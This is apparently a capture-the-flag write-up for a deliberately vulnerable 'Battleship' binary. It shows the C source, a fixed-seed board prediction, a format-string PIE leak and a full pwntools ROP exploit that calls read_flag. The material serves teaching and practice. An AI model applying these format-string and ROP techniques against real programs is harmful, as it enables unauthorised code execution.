#rop #fmt_string # Understanding the Challenge We were given the source and compile options ## Compile Options `gcc vuln.c -fno-stack-protector -o vuln` Still have the stack canary but this time no `execstack` and yes `pie` ## Source ```c #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <strings.h> #include <time.h> #include <math.h> //gcc vuln.c -fno-stack-protector -o vuln int board[10][10]; char user_board[10][11]; int user_score = 0; int computer_score = 0; int ship_count; void read_flag(long arg1) { char flag[32] = {0}; FILE *fd = NULL; fd = fopen("flag.txt","r"); if(fd == NULL) { puts("Something went wrong while opening the flag file."); exit(-1); } if (arg1 == 0xdeadbeefcafebabe) { fgets(flag, 0x30, fd); printf("The flag is: %s\n", flag); } fclose(fd); exit(1); } void check_win() { char name[0x20]; if (user_score == 10) { printf("Congratulations, you did it. You can now register your name to our leaderboards!\n > "); gets(name); } else if (computer_score == 10) { puts("Unfortuntalely the computer won this game, I hope you still had fun!"); exit(0); } } void init_board() { srand(0); int random_num = (rand() % 5) + 1; char file_name[0x10]; FILE *fd; sprintf(file_name, "file_%d.txt",random_num); fd = fopen(file_name,"r"); for (int i = 0; i < 10; i++) { for (int j = 0; j < 10; j++) { board[i][j] = fgetc(fd)-48; } } fclose(fd); } void print_user_board() { char *tmp; puts("You can see your board below: "); for (int i = 0; i < 10; i++) { printf("\n-----------\n"); tmp = user_board[i]; printf(tmp); } printf("\n-----------\n\n\n"); } void print_rules() { puts("Below you can find the rules to our exciting Battleship game!\n\n"); puts("1. The game is played Human vs Computer."); puts("2. To achieve victory you need to gain 10 points before the computer does and select the win option in the menu."); puts("3. You can get points by attacking fields on the enemy board that contain ships."); puts("4. If the computer gets 10 points before you do, you lose."); puts("5. You can set up your own board by providing a sequence of 100 characters containing ONLY 0's and 1's. This sequence will determine ur own board."); puts("\tThis file has to be named 'input.txt'. An example file is included."); printf("\n\n\n"); } void print_menu() { puts("+=========:[ Menu ]:=========+"); puts("| [1] Print Rules |"); puts("| [2] Play a round |"); puts("| [3] Print Scores |"); puts("| [4] Print user Board |"); puts("| [5] Give up |"); puts("+============================+"); printf("\n > "); } void get_user_board() { FILE *fd; char *tmp; fd = fopen("input.txt","r"); for (int i = 0; i < 10; i++) { for (int j = 0; j < 10; j++) { user_board[i][j] = fgetc(fd); if (user_board[i][j] == 49) ship_count++; } user_board[i][10] = '\x0'; } printf("You provided %d ships.\n",ship_count); print_user_board(); if (ship_count < 25) { puts("Please provide at least 25 ships so the computer has a chance."); exit(-1); } fclose(fd); } void play_round() { int x,y; char buf[0x10]; puts("What field do you wish to attack? (x axis)"); x = atoi(fgets(buf,sizeof(buf),stdin)); puts("What field do you wish to attack? (y axis)"); y = atoi(fgets(buf,sizeof(buf),stdin)); if (board[x][y] == 1) { puts("Congrats, you got a hit!\n"); user_score++; } srand(time(NULL)); x = (rand() % 10) + 1; y = (rand() % 10) + 1; if (user_board[x][y] == 49) { puts("Oh no, the computer hit one of your ships!\n"); computer_score++; } check_win(); } void menu() { char buf[0x10]; int choice; while(1) { print_menu(); if (fgets(buf, sizeof(buf), stdin) == NULL) { exit(-1); } choice = atoi(buf); switch(choice) { case 1: print_rules(); break; case 2: play_round(); break; case 3: printf("User Score: %d\n", user_score); printf("Computer Score: %d\n\n", computer_score); break; case 4: print_user_board(); break; case 5: puts("Thanks for playing!"); exit(0); default: puts("Invalid input"); } } } void main() { puts("Lets play a game of Battleships!\n"); init_board(); print_rules(); puts("When you are ready to continue, press enter"); getchar(); get_user_board(); menu(); } ``` # The Vuln ## Bad Seed The `init_board` function in HLIL looks like: ```python int64_t init_board() srand(x: 0) int32_t rax = rand() uint64_t rcx_1 = zx.q(rax - ((((sx.q(rax) * 0x66666667) u>> 0x20).d s>> 1) - (rax s>> 0x1f)) * 5) void var_38 sprintf(s: &var_38, format: "file_%d.txt", zx.q(rcx_1.d + 1), rcx_1) FILE* rax_11 = fopen(filename: &var_38, mode: &data_2008) for (int32_t var_c = 0; var_c s<= 9; var_c = var_c + 1) for (int32_t var_10_1 = 0; var_10_1 s<= 9; var_10_1 = var_10_1 + 1) int64_t rax_18 = sx.q(var_c) * 5 *(((rax_18 + rax_18 + sx.q(var_10_1)) << 2) + &board) = fgetc(fp: rax_11) - 0x30 return fclose(fp: rax_11) ``` Random is seeded with 0. Knowing the seed, we can generate the same random numbers that the binary will, therefore knowing exactly where are the battleships are We can see the computures board We could use python `ctypes` and `CDLL` to call random to get the value but we can also just pull them out from gdb. ### Using Binja Debugger First, I use my `ctf_start` tool: `ctf_start -g 1234 vuln` Then talk to the service: `nc 127.0.0.1 1337` With a break point at `0x1820`, we can retype and inspect the board layout. ![[Pasted image 20210720195809.png]] We can use the coordinates `0` and `1` to always hit the target. ## Buffer Overflow There is a `gets` call that we would like to reach to exploit. This can only be reached by getting a `user_score` of 10. The following code will win the game and reach the vulnerable `gets`: ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() gdb.attach(io) io.send("\n") def play(x,y): io.sendline("2") io.sendline(x) io.sendline(y) for _ in range(10): play("0","1") io.interactive() ``` # The Exploit Because this binary is PIE we either need a leak or a partial overwrite. The stack looks like the picture below after sending input through the `get` (Not overflowing yet) ![[Pasted image 20210720200411.png]] We can try to overwrite the lsb of `0x000055fc007ea912` to change it to the `read_flag`, however because are input is through `gets` a null byte or newline character will be appended. There are no good addresses we can do a partial overwrite with. ## The Leak We are going to need to leak PIE base. We can abuse the `print_user_board` function. ```c for (int i = 0; i < 10; i++) { printf("\n-----------\n"); tmp = user_board[i]; printf(tmp); } ``` There is a format strings, so if we have a malicous input, we can leak data off the stack. Fortunately for us, the second value on the stack is a pointer to the `user_board`. We can calculate the base address of the binary now. We can use the follow text for input.txt: `|%2$p|0000111000000111110000110000000000000001110000000111000000000111111100110000001110001111000000000000` The following code leaks the base and triggers the `gets` ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() gdb.attach(io) io.send("\n") io.readuntil(b"|") pie_leak = int(io.readuntil(b"|").strip(b"|"),16) elf.address = pie_leak - elf.symbols['user_board'] print("Base:",hex(elf.address)) def play(x,y): io.sendline("2") io.sendline(x) io.sendline(y) for _ in range(10): play("0","1") io.interactive() ``` ## Buffer Overflow The stack layout is shown in HLIL ```python char* check_win() char* input {Frame offset -28} char* rax_3 {Register rax} char* rax_3 if (user_score == 0xa) printf(format: "Congratulations, you did it. You can now register your name to o…") char* input rax_3 = gets(buf: &input) ... ``` Supplying more that 0x28 bytes will overwrite `rip` # Solve Overwrite `rip` with a ropchain that calls `read_flag(0xdeadbeefcafebabe)` Set the argument by finding a `pop rdi` gadget. `pop rdi` can be found where a `pop r15` is by adding 1 to that address. `pop r15` can be found in `__libc_csu_init` We also need to call a `ret` before our chain to solve the `movaps` issue. ## Script ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() #gdb.attach(io) io.send("\n") io.readuntil(b"|") pie_leak = int(io.readuntil(b"|").strip(b"|"),16) elf.address = pie_leak - elf.symbols['user_board'] print("Base:",hex(elf.address)) def play(x,y): io.sendline("2") io.sendline(x) io.sendline(y) for _ in range(10): play("0","1") pop_rdi = elf.address+0x1b33 ret = pop_rdi+1 payload = b"" payload += b"A"*0x28 payload += p64(ret) payload += p64(pop_rdi) payload += p64(0xdeadbeefcafebabe) payload += p64(elf.symbols['read_flag']) io.sendline(payload) io.interactive() ```